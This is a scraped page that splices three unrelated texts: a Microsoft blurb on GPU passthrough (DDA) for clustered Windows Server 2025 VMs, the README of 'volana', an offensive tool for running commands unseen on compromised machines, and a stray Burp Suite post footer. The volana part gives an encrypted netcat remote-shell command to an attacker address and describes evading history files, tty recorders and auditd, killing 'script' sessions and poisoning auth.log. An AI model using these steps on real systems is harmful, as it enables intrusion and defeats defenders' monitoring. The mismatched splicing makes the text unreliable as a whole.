In the rapidly evolving landscape of artificial intelligence (AI), the demand for more powerful and efficient computing resources is ever-increasing. Microsoft is at the forefront of this technological revolution, empowering customers to harness the full potential of their AI workloads with their GPUs. GPU virtualization makes the ability to process massive amounts of data quickly and efficiently possible. Using GPUs with clustered VMs through DDA (Discrete Device Assignment) becomes particularly significant in failover clusters, offering direct GPU access.

Using GPUs with clustered VMs through DDA allows you to assign one or more entire physical GPUs to a single virtual machine (VM). DDA allows virtual machines (VMs) to have direct access to the physical GPUs. This results in reduced latency and full utilization of the GPU’s capabilities, which is crucial for compute-intensive tasks.

Figure 1: This diagram shows users using GPU with clustered VMs via DDA, where full physical GPU are assigned to VMs.

Using GPUs with clustered VMs enables these high-compute workloads to be executed within a failover cluster. A failover cluster is a group of independent nodes that work together to increase the availability of clustered roles. If one or more of the cluster nodes fail, the other nodes begin to provide service, meaning high availability by failover clusters. By integrating GPU with clustered VMs, these clusters can now support high-compute workloads on VMs. Failover clusters use GPU pools, which are managed by the cluster. An administrator creates these GPU pools name and declares a VM’s GPU needs. Pools are created on each node with the same name. Once GPUs and VMs are added to the pools, the cluster then manages VM placement and GPU assignment. Although live migration is not supported, in the event of a server failure, workloads can automatically restart on another node, minimizing downtime and ensuring continuity.

Using GPU with clustered VMs through DDA will be available in Windows Server 2025 Datacenter and was initially enabled in Azure Stack HCI 22H2.

To use GPU with clustered VMs, you are required to have a Failover Cluster that operates on Windows Server 2025 Datacenter edition and ensure the functional level of the cluster is at the Windows Server 2025 level. Each node in the cluster must have the same set up, and same GPUs in order to enable GPU with clustered VMs for failover cluster functionality . DDA does not currently support live migration. DDA is not supported by every GPU. In order to verify if your GPU works with DDA, contact your GPU manufacturer. Ensure you adhere to the setup guidelines provided by the GPU manufacturer, which includes installing the GPU manufacturer specific drivers on each server of the cluster and obtaining manufacturer-specific GPU licensing where applicable.

For more information on using GPU with clustered VMs, please review our documentation below:

Use GPUs with clustered VMs on Hyper-V | Microsoft Learn

Deploy graphics devices by using Discrete Device Assignment | Microsoft Learn

Usage

You need to get an interactive shell. (Find a way to spawn it, you are a hacker, it's your job ! otherwise). Then download it on target machine and launch it. that's it, now you can type the command you want to be stealthy executed

## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana

## Execute it
./volana

## You are now under the radar
volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1  #you are allowed to be a bit cocky
volana » [command]

Keyword for volana console: * ring: enable ring mode ie each command is launched with plenty others to cover tracks (from solution that monitor system call) * exit: exit volana console

from non interactive shell

Imagine you have a non interactive shell (webshell or blind rce), you could use encrypt and decrypt subcommand. Previously, you need to build volana with embedded encryption key.

On attacker machine

## Build volana with encryption key
make build.volana-with-encryption

## Transfer it on TARGET (the unique detectable command)
## [...]

## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND

Copy encrypted command and executed it with your rce on target machine

./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)

Why not just hide command with echo [command] | base64 ? And decode on target with echo [encoded_command] | base64 -d | bash

Because we want to be protected against systems that trigger alert for base64 use or that seek base64 text in command. Also we want to make investigation difficult and base64 isn't a real brake.

Detection

Keep in mind that volana is not a miracle that will make you totally invisible. Its aim is to make intrusion detection and investigation harder.

By detected we mean if we are able to trigger an alert if a certain command has been executed.

Hide from

Only the volana launching command line will be catched. 🧠 However, by adding a space before executing it, the default bash behavior is to not save it

• Detection systems that are based on history command output
• Detection systems that are based on history files
• .bash_history, ".zsh_history" etc ..
• Detection systems that are based on bash debug traps
• Detection systems that are based on sudo built-in logging system
• Detection systems tracing all processes syscall system-wide (eg opensnoop)
• Terminal (tty) recorder (script, screen -L, sexonthebash, ovh-ttyrec, etc..)
• Easy to detect & avoid: pkill -9 script
• Not a common case
• screen is a bit more difficult to avoid, however it does not register input (secret input: stty -echo => avoid)
• Command detection Could be avoid with volana with encryption

Visible for

• Detection systems that have alert for unknown command (volana one)
• Detection systems that are based on keylogger
• Easy to avoid: copy/past commands
• Not a common case
• Detection systems that are based on syslog files (e.g. /var/log/auth.log)
• Only for sudo or su commands
• syslog file could be modified and thus be poisoned as you wish (e.g for /var/log/auth.log:logger -p auth.info "No hacker is poisoning your syslog solution, don't worry")
• Detection systems that are based on syscall (eg auditd,LKML/eBPF)
• Difficult to analyze, could be make unreadable by making several diversion syscalls
• Custom LD_PRELOAD injection to make log
• Not a common case at all

Bug bounty

Sorry for the clickbait title, but no money will be provided for contibutors. 🐛

Let me know if you have found: * a way to detect volana * a way to spy console that don't detect volana commands * a way to avoid a detection system

Report here

Credit

• 8 ways to spy on console
• moonwalk: similar tool that clear tracks AFTER passage

Setting up the environment + Hello […]

The post Extending Burp Suite for fun and profit – The Montoya way – Part 5 appeared first on hn security.